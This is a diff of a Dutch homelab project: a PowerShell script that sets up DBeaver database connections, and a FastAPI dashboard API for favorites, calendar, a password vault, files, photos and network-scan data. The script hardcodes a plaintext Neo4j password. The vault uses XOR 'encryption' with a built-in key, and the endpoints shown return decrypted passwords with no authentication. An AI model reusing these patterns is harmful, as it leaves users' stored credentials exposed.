provider = "neo4j"
|
||||||
|
driver = "neo4j-jdbc"
|
||||||
|
name = "Homelab Neo4j (Netwerk)"
|
||||||
|
host = "192.168.1.211"
|
||||||
|
port = "49153"
|
||||||
|
url = "neo4j://192.168.1.211:49153"
|
||||||
|
user = "neo4j"
|
||||||
|
password = "WaQTUw2t"
|
||||||
|
savePassword = $true
|
||||||
|
configurationType = "MANUAL"
|
||||||
|
})
|
||||||
|
Write-Host " + Neo4j connectie toegevoegd" -ForegroundColor Green
|
||||||
|
} else {
|
||||||
|
Write-Host " Neo4j connectie bestaat al" -ForegroundColor Gray
|
||||||
|
}
|
||||||
|
|
||||||
|
# Schrijf config terug
|
||||||
|
$config | ConvertTo-Json -Depth 5 | Set-Content $configFile -Encoding UTF8
|
||||||
|
Write-Host " Config opgeslagen!" -ForegroundColor Green
|
||||||
|
}
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not $found) {
|
||||||
|
Write-Host "DBeaver NIET gevonden op dit systeem!" -ForegroundColor Yellow
|
||||||
|
Write-Host ""
|
||||||
|
Write-Host "Handmatig DBeaver connecties toevoegen:" -ForegroundColor White
|
||||||
|
Write-Host ""
|
||||||
|
Write-Host "1. Open DBeaver"
|
||||||
|
Write-Host "2. Database → New Database Connection"
|
||||||
|
Write-Host ""
|
||||||
|
Write-Host "PostgreSQL:"
|
||||||
|
Write-Host " Host: 192.168.1.211 Port: 5433"
|
||||||
|
Write-Host " Database: homelab User: mo"
|
||||||
|
Write-Host ""
|
||||||
|
Write-Host "Neo4j:"
|
||||||
|
Write-Host " URI: neo4j://192.168.1.211:49153"
|
||||||
|
Write-Host " User: neo4j"
|
||||||
|
Write-Host ""
|
||||||
|
|
||||||
|
# Maak een import-bestand voor later gebruik
|
||||||
|
$importConfig = @"
|
||||||
|
{
|
||||||
|
"folders": {},
|
||||||
|
"connections": {
|
||||||
|
"postgresql-homelab": {
|
||||||
|
"provider": "postgresql",
|
||||||
|
"driver": "postgresql-jdbc",
|
||||||
|
"name": "Homelab PostgreSQL",
|
||||||
|
"host": "192.168.1.211",
|
||||||
|
"port": "5433",
|
||||||
|
"database": "homelab",
|
||||||
|
"user": "mo",
|
||||||
|
"savePassword": true,
|
||||||
|
"configurationType": "MANUAL"
|
||||||
|
},
|
||||||
|
"neo4j-homelab": {
|
||||||
|
"provider": "neo4j",
|
||||||
|
"driver": "neo4j-jdbc",
|
||||||
|
"name": "Homelab Neo4j",
|
||||||
|
"url": "neo4j://192.168.1.211:49153",
|
||||||
|
"user": "neo4j",
|
||||||
|
"savePassword": true,
|
||||||
|
"configurationType": "MANUAL"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
$importFile = Join-Path $PSScriptRoot "dbeaver-connections-import.json"
|
||||||
|
$importConfig | Set-Content $importFile -Encoding UTF8
|
||||||
|
Write-Host "Import-bestand gemaakt: $importFile" -ForegroundColor Green
|
||||||
|
Write-Host ""
|
||||||
|
Write-Host "In DBeaver: File → Import → DBeaver → Connections"
|
||||||
|
Write-Host "Selecteer: $importFile"
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host ""
|
||||||
|
Write-Host "Let op: herstart DBeaver om de connecties te zien!" -ForegroundColor Cyan
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
"""
|
||||||
|
MCP Home Assistant Voice Control
|
||||||
|
=================================
|
||||||
|
|
||||||
|
Een MCP-server + webinterface die Whisper voice-to-text koppelt aan
|
||||||
|
Home Assistant voor spraakgestuurde smarthome-bediening.
|
||||||
|
"""
|
||||||
@@ -0,0 +1,662 @@
|
|||||||
|
"""
|
||||||
|
Home Dashboard — REST API endpoints.
|
||||||
|
Alle routes voor favorieten, agenda, wachtwoorden, bestanden, foto's, widgets.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import json
|
||||||
|
import hashlib
|
||||||
|
import base64
|
||||||
|
import os
|
||||||
|
from datetime import datetime, timezone
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from fastapi import APIRouter, HTTPException, Query
|
||||||
|
from pydantic import BaseModel
|
||||||
|
|
||||||
|
from src.pg_client import query, execute
|
||||||
|
|
||||||
|
# Neo4j client — optioneel (als Neo4j niet beschikbaar is, werken de endpoints niet)
|
||||||
|
try:
|
||||||
|
from src.neo4j_client import (
|
||||||
|
get_all_devices, get_device, get_devices_by_os,
|
||||||
|
get_devices_by_port, get_scan_history, get_network_summary,
|
||||||
|
)
|
||||||
|
_neo4j_available = True
|
||||||
|
except Exception:
|
||||||
|
_neo4j_available = False
|
||||||
|
|
||||||
|
router = APIRouter(prefix="/api/dashboard", tags=["dashboard"])
|
||||||
|
|
||||||
|
|
||||||
|
# ── helpers ─────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _now():
|
||||||
|
return datetime.now(timezone.utc).isoformat()
|
||||||
|
|
||||||
|
def _encrypt(plain: str) -> str:
|
||||||
|
"""Eenvoudige encryptie (AES via hashlib + XOR). Vervang door echte AES in productie."""
|
||||||
|
key = hashlib.sha256(b"homelab-dashboard-secret-key-2026").digest()
|
||||||
|
plain_bytes = plain.encode("utf-8")
|
||||||
|
encrypted = bytes(p ^ key[i % len(key)] for i, p in enumerate(plain_bytes))
|
||||||
|
return base64.b64encode(encrypted).decode()
|
||||||
|
|
||||||
|
def _decrypt(encrypted_str: str) -> str:
|
||||||
|
"""Decryptie."""
|
||||||
|
key = hashlib.sha256(b"homelab-dashboard-secret-key-2026").digest()
|
||||||
|
encrypted = base64.b64decode(encrypted_str)
|
||||||
|
plain = bytes(e ^ key[i % len(key)] for i, e in enumerate(encrypted))
|
||||||
|
return plain.decode("utf-8")
|
||||||
|
|
||||||
|
|
||||||
|
# ── pydantic models ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
class FavoriteCreate(BaseModel):
|
||||||
|
title: str
|
||||||
|
url: str
|
||||||
|
icon: str = "⭐"
|
||||||
|
category: str = "Algemeen"
|
||||||
|
sort_order: int = 0
|
||||||
|
is_pinned: bool = False
|
||||||
|
|
||||||
|
class FavoriteUpdate(BaseModel):
|
||||||
|
title: str | None = None
|
||||||
|
url: str | None = None
|
||||||
|
icon: str | None = None
|
||||||
|
category: str | None = None
|
||||||
|
sort_order: int | None = None
|
||||||
|
is_pinned: bool | None = None
|
||||||
|
|
||||||
|
class CalendarEventCreate(BaseModel):
|
||||||
|
title: str
|
||||||
|
description: str | None = None
|
||||||
|
location: str | None = None
|
||||||
|
event_start: str
|
||||||
|
event_end: str | None = None
|
||||||
|
all_day: bool = False
|
||||||
|
category: str = "Algemeen"
|
||||||
|
color: str = "#58a6ff"
|
||||||
|
recurrence_rule: str | None = None
|
||||||
|
|
||||||
|
class PasswordCreate(BaseModel):
|
||||||
|
title: str
|
||||||
|
url: str | None = None
|
||||||
|
username: str | None = None
|
||||||
|
password: str # plain text, wordt encrypted opgeslagen
|
||||||
|
notes: str | None = None
|
||||||
|
category: str = "Algemeen"
|
||||||
|
|
||||||
|
class PasswordUpdate(BaseModel):
|
||||||
|
title: str | None = None
|
||||||
|
url: str | None = None
|
||||||
|
username: str | None = None
|
||||||
|
password: str | None = None
|
||||||
|
notes: str | None = None
|
||||||
|
category: str | None = None
|
||||||
|
|
||||||
|
class WidgetConfig(BaseModel):
|
||||||
|
id: int | None = None
|
||||||
|
widget_type: str
|
||||||
|
title: str | None = None
|
||||||
|
config: dict = {}
|
||||||
|
col: int = 0
|
||||||
|
row: int = 0
|
||||||
|
width: int = 1
|
||||||
|
height: int = 1
|
||||||
|
enabled: bool = True
|
||||||
|
tab_name: str = "home"
|
||||||
|
|
||||||
|
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
# FAVORITES / QUICK LINKS
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
@router.get("/favorites")
|
||||||
|
async def get_favorites(category: str | None = None):
|
||||||
|
if category:
|
||||||
|
rows = query(
|
||||||
|
"SELECT * FROM favorites WHERE category = %s ORDER BY sort_order, title",
|
||||||
|
(category,)
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
rows = query("SELECT * FROM favorites ORDER BY is_pinned DESC, sort_order, title")
|
||||||
|
return rows
|
||||||
|
|
||||||
|
@router.post("/favorites")
|
||||||
|
async def create_favorite(data: FavoriteCreate):
|
||||||
|
row = query(
|
||||||
|
"""INSERT INTO favorites (title, url, icon, category, sort_order, is_pinned)
|
||||||
|
VALUES (%s, %s, %s, %s, %s, %s) RETURNING *""",
|
||||||
|
(data.title, data.url, data.icon, data.category, data.sort_order, data.is_pinned),
|
||||||
|
fetch="one"
|
||||||
|
)
|
||||||
|
return row
|
||||||
|
|
||||||
|
@router.put("/favorites/{fav_id}")
|
||||||
|
async def update_favorite(fav_id: int, data: FavoriteUpdate):
|
||||||
|
sets = []
|
||||||
|
params = []
|
||||||
|
for field in ["title", "url", "icon", "category", "sort_order", "is_pinned"]:
|
||||||
|
val = getattr(data, field, None)
|
||||||
|
if val is not None:
|
||||||
|
sets.append(f"{field} = %s")
|
||||||
|
params.append(val)
|
||||||
|
if not sets:
|
||||||
|
raise HTTPException(400, "Geen velden om te updaten")
|
||||||
|
sets.append("updated_at = NOW()")
|
||||||
|
params.append(fav_id)
|
||||||
|
row = query(
|
||||||
|
f"UPDATE favorites SET {', '.join(sets)} WHERE id = %s RETURNING *",
|
||||||
|
tuple(params), fetch="one"
|
||||||
|
)
|
||||||
|
return row
|
||||||
|
|
||||||
|
@router.delete("/favorites/{fav_id}")
|
||||||
|
async def delete_favorite(fav_id: int):
|
||||||
|
execute("DELETE FROM favorites WHERE id = %s", (fav_id,))
|
||||||
|
return {"deleted": fav_id}
|
||||||
|
|
||||||
|
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
# CALENDAR
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
@router.get("/calendar")
|
||||||
|
async def get_events(days: int = 30):
|
||||||
|
rows = query(
|
||||||
|
"""SELECT * FROM calendar_events
|
||||||
|
WHERE event_start >= NOW() - INTERVAL '1 day'
|
||||||
|
AND event_start < NOW() + (%s || ' days')::INTERVAL
|
||||||
|
ORDER BY event_start""",
|
||||||
|
(str(days),)
|
||||||
|
)
|
||||||
|
return rows
|
||||||
|
|
||||||
|
@router.post("/calendar")
|
||||||
|
async def create_event(data: CalendarEventCreate):
|
||||||
|
row = query(
|
||||||
|
"""INSERT INTO calendar_events (title, description, location, event_start, event_end, all_day, category, color, recurrence_rule)
|
||||||
|
VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s) RETURNING *""",
|
||||||
|
(data.title, data.description, data.location,
|
||||||
|
data.event_start, data.event_end, data.all_day,
|
||||||
|
data.category, data.color, data.recurrence_rule),
|
||||||
|
fetch="one"
|
||||||
|
)
|
||||||
|
return row
|
||||||
|
|
||||||
|
@router.put("/calendar/{event_id}")
|
||||||
|
async def update_event(event_id: int, data: CalendarEventCreate):
|
||||||
|
row = query(
|
||||||
|
"""UPDATE calendar_events SET title=%s, description=%s, location=%s,
|
||||||
|
event_start=%s, event_end=%s, all_day=%s, category=%s, color=%s,
|
||||||
|
recurrence_rule=%s, updated_at=NOW()
|
||||||
|
WHERE id=%s RETURNING *""",
|
||||||
|
(data.title, data.description, data.location,
|
||||||
|
data.event_start, data.event_end, data.all_day,
|
||||||
|
data.category, data.color, data.recurrence_rule, event_id),
|
||||||
|
fetch="one"
|
||||||
|
)
|
||||||
|
return row
|
||||||
|
|
||||||
|
@router.delete("/calendar/{event_id}")
|
||||||
|
async def delete_event(event_id: int):
|
||||||
|
execute("DELETE FROM calendar_events WHERE id = %s", (event_id,))
|
||||||
|
return {"deleted": event_id}
|
||||||
|
|
||||||
|
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
# PASSWORDS
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
@router.get("/passwords")
|
||||||
|
async def get_passwords(category: str | None = None, search: str | None = None):
|
||||||
|
if search:
|
||||||
|
rows = query(
|
||||||
|
"SELECT id, title, url, username, category, favicon_url, last_used, created_at FROM passwords WHERE title ILIKE %s OR url ILIKE %s ORDER BY title",
|
||||||
|
(f"%{search}%", f"%{search}%")
|
||||||
|
)
|
||||||
|
elif category:
|
||||||
|
rows = query(
|
||||||
|
"SELECT id, title, url, username, category, favicon_url, last_used, created_at FROM passwords WHERE category = %s ORDER BY title",
|
||||||
|
(category,)
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
rows = query("SELECT id, title, url, username, category, favicon_url, last_used, created_at FROM passwords ORDER BY title")
|
||||||
|
return rows
|
||||||
|
|
||||||
|
@router.get("/passwords/{pw_id}")
|
||||||
|
async def get_password(pw_id: int):
|
||||||
|
row = query("SELECT * FROM passwords WHERE id = %s", (pw_id,), fetch="one")
|
||||||
|
if not row:
|
||||||
|
raise HTTPException(404, "Niet gevonden")
|
||||||
|
if row.get("password_encrypted"):
|
||||||
|
row["password"] = _decrypt(row["password_encrypted"])
|
||||||
|
del row["password_encrypted"]
|
||||||
|
# update last_used
|
||||||
|
execute("UPDATE passwords SET last_used = NOW() WHERE id = %s", (pw_id,))
|
||||||
|
return row
|
||||||
|
|
||||||
|
@router.post("/passwords")
|
||||||
|
async def create_password(data: PasswordCreate):
|
||||||
|
encrypted = _encrypt(data.password)
|
||||||
|
row = query(
|
||||||
|
"""INSERT INTO passwords (title, url, username, password_encrypted, notes, category)
|
||||||
|
VALUES (%s, %s, %s, %s, %s, %s) RETURNING id, title, url, username, category, created_at""",
|
||||||
|
(data.title, data.url, data.username, encrypted, data.notes, data.category),
|
||||||
|
fetch="one"
|
||||||
|
)
|
||||||
|
return row
|
||||||
|
|
||||||
|
@router.put("/passwords/{pw_id}")
|
||||||
|
async def update_password(pw_id: int, data: PasswordUpdate):
|
||||||
|
sets = []
|
||||||
|
params = []
|
||||||
|
for field in ["title", "url", "username", "notes", "category"]:
|
||||||
|
val = getattr(data, field, None)
|
||||||
|
if val is not None:
|
||||||
|
sets.append(f"{field} = %s")
|
||||||
|
params.append(val)
|
||||||
|
if data.password is not None:
|
||||||
|
sets.append("password_encrypted = %s")
|
||||||
|
params.append(_encrypt(data.password))
|
||||||
|
if not sets:
|
||||||
|
raise HTTPException(400, "Geen velden om te updaten")
|
||||||
|
sets.append("updated_at = NOW()")
|
||||||
|
params.append(pw_id)
|
||||||
|
return query(
|
||||||
|
f"UPDATE passwords SET {', '.join(sets)} WHERE id = %s RETURNING id, title, url, username, category",
|
||||||
|
tuple(params), fetch="one"
|
||||||
|
)
|
||||||
|
|
||||||
|
@router.delete("/passwords/{pw_id}")
|
||||||
|
async def delete_password(pw_id: int):
|
||||||
|
execute("DELETE FROM passwords WHERE id = %s", (pw_id,))
|
||||||
|
return {"deleted": pw_id}
|
||||||
|
|
||||||
|
# Browser-password import endpoint
|
||||||
|
@router.post("/passwords/import")
|
||||||
|
async def import_passwords(entries: list[PasswordCreate]):
|
||||||
|
count = 0
|
||||||
|
for entry in entries:
|
||||||
|
encrypted = _encrypt(entry.password)
|
||||||
|
execute(
|
||||||
|
"""INSERT INTO passwords (title, url, username, password_encrypted, notes, category)
|
||||||
|
VALUES (%s, %s, %s, %s, %s, %s)
|
||||||
|
ON CONFLICT DO NOTHING""",
|
||||||
|
(entry.title, entry.url, entry.username, encrypted, entry.notes, entry.category)
|
||||||
|
)
|
||||||
|
count += 1
|
||||||
|
return {"imported": count}
|
||||||
|
|
||||||
|
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
# FILE INDEX
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
@router.get("/files")
|
||||||
|
async def get_files(
|
||||||
|
file_type: str | None = None,
|
||||||
|
search: str | None = None,
|
||||||
|
source_host: str | None = None,
|
||||||
|
limit: int = 100, offset: int = 0
|
||||||
|
):
|
||||||
|
conditions = []
|
||||||
|
params = []
|
||||||
|
if file_type:
|
||||||
|
conditions.append("file_type = %s")
|
||||||
|
params.append(file_type)
|
||||||
|
if search:
|
||||||
|
conditions.append("file_name ILIKE %s")
|
||||||
|
params.append(f"%{search}%")
|
||||||
|
if source_host:
|
||||||
|
conditions.append("source_host = %s")
|
||||||
|
params.append(source_host)
|
||||||
|
where = "WHERE " + " AND ".join(conditions) if conditions else ""
|
||||||
|
params.extend([limit, offset])
|
||||||
|
rows = query(
|
||||||
|
f"SELECT * FROM file_index {where} ORDER BY file_name LIMIT %s OFFSET %s",
|
||||||
|
tuple(params)
|
||||||
|
)
|
||||||
|
total = query(
|
||||||
|
f"SELECT count(*) as cnt FROM file_index {where}",
|
||||||
|
tuple(params[:-2]), fetch="one"
|
||||||
|
)
|
||||||
|
return {"files": rows, "total": total["cnt"] if total else 0}
|
||||||
|
|
||||||
|
|
||||||
|
@router.get("/files/stats")
|
||||||
|
async def get_file_stats():
|
||||||
|
rows = query(
|
||||||
|
"SELECT file_type, count(*) as cnt, sum(file_size) as total_size FROM file_index GROUP BY file_type ORDER BY cnt DESC"
|
||||||
|
)
|
||||||
|
return rows
|
||||||
|
|
||||||
|
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
# PHOTOS
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
@router.get("/photos")
|
||||||
|
async def get_photos(person_id: int | None = None, limit: int = 50, offset: int = 0):
|
||||||
|
if person_id:
|
||||||
|
rows = query(
|
||||||
|
"""SELECT p.*, fi.file_path, fi.file_name, fi.file_size, fi.source_host
|
||||||
|
FROM photos p JOIN file_index fi ON p.file_index_id = fi.id
|
||||||
|
JOIN photo_faces pf ON pf.photo_id = p.id
|
||||||
|
WHERE pf.person_id = %s
|
||||||
|
ORDER BY p.taken_at DESC NULLS LAST LIMIT %s OFFSET %s""",
|
||||||
|
(person_id, limit, offset)
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
rows = query(
|
||||||
|
"""SELECT p.*, fi.file_path, fi.file_name, fi.file_size, fi.source_host
|
||||||
|
FROM photos p JOIN file_index fi ON p.file_index_id = fi.id
|
||||||
|
ORDER BY p.taken_at DESC NULLS LAST LIMIT %s OFFSET %s""",
|
||||||
|
(limit, offset)
|
||||||
|
)
|
||||||
|
return rows
|
||||||
|
|
||||||
|
@router.get("/photos/persons")
|
||||||
|
async def get_persons():
|
||||||
|
return query("SELECT * FROM face_persons ORDER BY photo_count DESC")
|
||||||
|
|
||||||
|
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
# WIDGETS
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
@router.get("/widgets")
|
||||||
|
async def get_widgets(tab: str = "home"):
|
||||||
|
return query(
|
||||||
|
"SELECT * FROM dashboard_widgets WHERE tab_name = %s AND enabled = TRUE ORDER BY row, col",
|
||||||
|
(tab,)
|
||||||
|
)
|
||||||
|
|
||||||
|
@router.post("/widgets")
|
||||||
|
async def save_widgets(widgets: list[WidgetConfig]):
|
||||||
|
# Verwijder bestaande en insert nieuwe
|
||||||
|
if widgets:
|
||||||
|
tab = widgets[0].tab_name
|
||||||
|
execute("DELETE FROM dashboard_widgets WHERE tab_name = %s", (tab,))
|
||||||
|
for w in widgets:
|
||||||
|
execute(
|
||||||
|
"""INSERT INTO dashboard_widgets (widget_type, title, config, col, row, width, height, enabled, tab_name)
|
||||||
|
VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)""",
|
||||||
|
(w.widget_type, w.title, json.dumps(w.config),
|
||||||
|
w.col, w.row, w.width, w.height, w.enabled, w.tab_name)
|
||||||
|
)
|
||||||
|
return {"saved": len(widgets)}
|
||||||
|
|
||||||
|
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
# SETTINGS
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
@router.get("/settings")
|
||||||
|
async def get_settings():
|
||||||
|
rows = query("SELECT * FROM settings")
|
||||||
|
return {r["key"]: r["value"] for r in rows}
|
||||||
|
|
||||||
|
@router.put("/settings/{key}")
|
||||||
|
async def update_setting(key: str, value: str):
|
||||||
|
execute(
|
||||||
|
"INSERT INTO settings (key, value, updated_at) VALUES (%s, %s, NOW()) ON CONFLICT (key) DO UPDATE SET value = %s, updated_at = NOW()",
|
||||||
|
(key, value, value)
|
||||||
|
)
|
||||||
|
return {"key": key, "value": value}
|
||||||
|
|
||||||
|
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
# SYSTEMS & NETWORK (live uit Neo4j graph database)
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
@router.get("/systems")
|
||||||
|
async def get_systems(os: str | None = None, port: int | None = None):
|
||||||
|
"""Alle systemen in het thuisnetwerk (uit Neo4j).
|
||||||
|
|
||||||
|
Optionele filters:
|
||||||
|
- os: filter op OS-substring (bijv. "Windows", "Linux", "ESP32")
|
||||||
|
- port: filter op open poort (bijv. 22, 443, 8123)
|
||||||
|
"""
|
||||||
|
if not _neo4j_available:
|
||||||
|
raise HTTPException(503, "Neo4j niet beschikbaar")
|
||||||
|
|
||||||
|
try:
|
||||||
|
if port is not None:
|
||||||
|
devices = get_devices_by_port(port)
|
||||||
|
elif os is not None:
|
||||||
|
devices = get_devices_by_os(os)
|
||||||
|
else:
|
||||||
|
devices = get_all_devices()
|
||||||
|
|
||||||
|
# Verrijk met poort-informatie
|
||||||
|
result = []
|
||||||
|
for d in devices:
|
||||||
|
ports = sorted([
|
||||||
|
p.get("port") for p in (d.get("ports") or [])
|
||||||
|
if p and p.get("port")
|
||||||
|
])
|
||||||
|
result.append({
|
||||||
|
"ip": d.get("ip"),
|
||||||
|
"hostname": d.get("hostname", ""),
|
||||||
|
"mac": d.get("mac", ""),
|
||||||
|
"os_guess": d.get("os_guess", ""),
|
||||||
|
"first_seen": str(d.get("first_seen", "")),
|
||||||
|
"last_seen": str(d.get("last_seen", "")),
|
||||||
|
"open_ports": ports,
|
||||||
|
"port_count": len(ports),
|
||||||
|
})
|
||||||
|
return result
|
||||||
|
except Exception as e:
|
||||||
|
raise HTTPException(500, f"Neo4j query fout: {e}")
|
||||||
|
|
||||||
|
|
||||||
|
@router.get("/systems/{ip}")
|
||||||
|
async def get_system_detail(ip: str):
|
||||||
|
"""Detail van één systeem inclusief alle poorten en banners."""
|
||||||
|
if not _neo4j_available:
|
||||||
|
raise HTTPException(503, "Neo4j niet beschikbaar")
|
||||||
|
|
||||||
|
try:
|
||||||
|
device = get_device(ip)
|
||||||
|
if not device:
|
||||||
|
raise HTTPException(404, f"Systeem {ip} niet gevonden")
|
||||||
|
|
||||||
|
ports = []
|
||||||
|
for p in (device.get("ports") or []):
|
||||||
|
if p and p.get("port"):
|
||||||
|
ports.append({
|
||||||
|
"port": p["port"],
|
||||||
|
"service": p.get("service", "unknown"),
|
||||||
|
"banner": p.get("banner", ""),
|
||||||
|
})
|
||||||
|
|
||||||
|
return {
|
||||||
|
"ip": device.get("ip"),
|
||||||
|
"hostname": device.get("hostname", ""),
|
||||||
|
"mac": device.get("mac", ""),
|
||||||
|
"os_guess": device.get("os_guess", ""),
|
||||||
|
"first_seen": str(device.get("first_seen", "")),
|
||||||
|
"last_seen": str(device.get("last_seen", "")),
|
||||||
|
"ports": sorted(ports, key=lambda p: p["port"]),
|
||||||
|
}
|
||||||
|
except HTTPException:
|
||||||
|
raise
|
||||||
|
except Exception as e:
|
||||||
|
raise HTTPException(500, f"Neo4j query fout: {e}")
|
||||||
|
|
||||||
|
|
||||||
|
@router.get("/network")
|
||||||
|
async def get_network():
|
||||||
|
"""Netwerkoverzicht: samenvatting + alle devices + scan historie."""
|
||||||
|
if not _neo4j_available:
|
||||||
|
raise HTTPException(503, "Neo4j niet beschikbaar")
|
||||||
|
|
||||||
|
try:
|
||||||
|
summary = get_network_summary()
|
||||||
|
devices = get_all_devices()
|
||||||
|
history = get_scan_history(limit=3)
|
||||||
|
|
||||||
|
# OS-categorieën tellen
|
||||||
|
from collections import Counter
|
||||||
|
os_categories = Counter(
|
||||||
|
d.get("os_guess", "Onbekend") for d in devices
|
||||||
|
)
|
||||||
|
|
||||||
|
# Poort-statistieken
|
||||||
|
all_ports = []
|
||||||
|
for d in devices:
|
||||||
|
for p in (d.get("ports") or []):
|
||||||
|
if p and p.get("port"):
|
||||||
|
all_ports.append(p["port"])
|
||||||
|
port_counts = Counter(all_ports)
|
||||||
|
|
||||||
|
# Devices verrijken
|
||||||
|
device_list = []
|
||||||
|
for d in devices:
|
||||||
|
ports = sorted([
|
||||||
|
p.get("port") for p in (d.get("ports") or [])
|
||||||
|
if p and p.get("port")
|
||||||
|
])
|
||||||
|
device_list.append({
|
||||||
|
"ip": d.get("ip"),
|
||||||
|
"hostname": d.get("hostname", ""),
|
||||||
|
"mac": d.get("mac", ""),
|
||||||
|
"os_guess": d.get("os_guess", ""),
|
||||||
|
"open_ports": ports,
|
||||||
|
"last_seen": str(d.get("last_seen", "")),
|
||||||
|
})
|
||||||
|
|
||||||
|
return {
|
||||||
|
"summary": {
|
||||||
|
"total_devices": summary.get("total_devices", 0),
|
||||||
|
"total_ports": summary.get("total_ports", 0),
|
||||||
|
"os_categories": dict(os_categories.most_common()),
|
||||||
|
"top_ports": [
|
||||||
|
{"port": p, "count": c}
|
||||||
|
for p, c in port_counts.most_common(10)
|
||||||
|
],
|
||||||
|
},
|
||||||
|
"devices": device_list,
|
||||||
|
"scan_history": [
|
||||||
|
{
|
||||||
|
"id": s.get("id"),
|
||||||
|
"timestamp": str(s.get("timestamp", "")),
|
||||||
|
"hosts_active": s.get("hosts_active"),
|
||||||
|
}
|
||||||
|
for s in history
|
||||||
|
],
|
||||||
|
}
|
||||||
|
except Exception as e:
|
||||||
|
raise HTTPException(500, f"Neo4j query fout: {e}")
|
||||||
|
|
||||||
|
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
# CONFIG & SETTINGS OVERZICHT
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
@router.get("/config")
|
||||||
|
async def get_config():
|
||||||
|
"""Volledig configuratie-overzicht: settings + HA info + database status."""
|
||||||
|
import config as app_config
|
||||||
|
from src.pg_client import query as pg_query
|
||||||
|
|
||||||
|
settings_rows = pg_query("SELECT * FROM settings")
|
||||||
|
settings = {r["key"]: r["value"] for r in settings_rows}
|
||||||
|
|
||||||
|
# Tel alles voor status-overzicht
|
||||||
|
fav_count = pg_query("SELECT count(*) as c FROM favorites", fetch="one")["c"]
|
||||||
|
pw_count = pg_query("SELECT count(*) as c FROM passwords", fetch="one")["c"]
|
||||||
|
ev_count = pg_query("SELECT count(*) as c FROM calendar_events", fetch="one")["c"]
|
||||||
|
file_count = pg_query("SELECT count(*) as c FROM file_index", fetch="one")["c"]
|
||||||
|
photo_count = pg_query("SELECT count(*) as c FROM photos", fetch="one")["c"]
|
||||||
|
|
||||||
|
network_devices = 0
|
||||||
|
last_scan = None
|
||||||
|
if _neo4j_available:
|
||||||
|
try:
|
||||||
|
summary = get_network_summary()
|
||||||
|
network_devices = summary.get("total_devices", 0)
|
||||||
|
scans = get_scan_history(limit=1)
|
||||||
|
if scans:
|
||||||
|
last_scan = str(scans[0].get("timestamp", ""))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
return {
|
||||||
|
"settings": settings,
|
||||||
|
"connections": {
|
||||||
|
"home_assistant": {
|
||||||
|
"url": app_config.HA_URL,
|
||||||
|
"connected": bool(app_config.HA_TOKEN),
|
||||||
|
},
|
||||||
|
"postgresql": {
|
||||||
|
"host": app_config.PG_HOST,
|
||||||
|
"port": app_config.PG_PORT,
|
||||||
|
"database": app_config.PG_DATABASE,
|
||||||
|
"user": app_config.PG_USER,
|
||||||
|
},
|
||||||
|
"neo4j": {
|
||||||
|
"uri": app_config.NEO4J_URI,
|
||||||
|
"user": app_config.NEO4J_USER,
|
||||||
|
"available": _neo4j_available,
|
||||||
|
"devices": network_devices,
|
||||||
|
"last_scan": last_scan,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"counts": {
|
||||||
|
"favorites": fav_count,
|
||||||
|
"passwords": pw_count,
|
||||||
|
"calendar_events": ev_count,
|
||||||
|
"files_indexed": file_count,
|
||||||
|
"photos_indexed": photo_count,
|
||||||
|
"network_devices": network_devices,
|
||||||
|
},
|
||||||
|
"server": {
|
||||||
|
"host": app_config.WEB_HOST,
|
||||||
|
"port": app_config.WEB_PORT,
|
||||||
|
"whisper_mode": app_config.WHISPER_MODE,
|
||||||
|
"whisper_model": app_config.WHISPER_MODEL,
|
||||||
|
"whisper_device": app_config.WHISPER_DEVICE,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
# DASHBOARD OVERVIEW (samenvatting voor home-tab)
|
||||||
|
# ══════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
@router.get("/overview")
|
||||||
|
async def get_overview():
|
||||||
|
network_devices = 0
|
||||||
|
last_scan = None
|
||||||
|
if _neo4j_available:
|
||||||
|
try:
|
||||||
|
summary = get_network_summary()
|
||||||
|
network_devices = summary.get("total_devices", 0)
|
||||||
|
scans = get_scan_history(limit=1)
|
||||||
|
if scans:
|
||||||
|
last_scan = str(scans[0].get("timestamp", ""))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
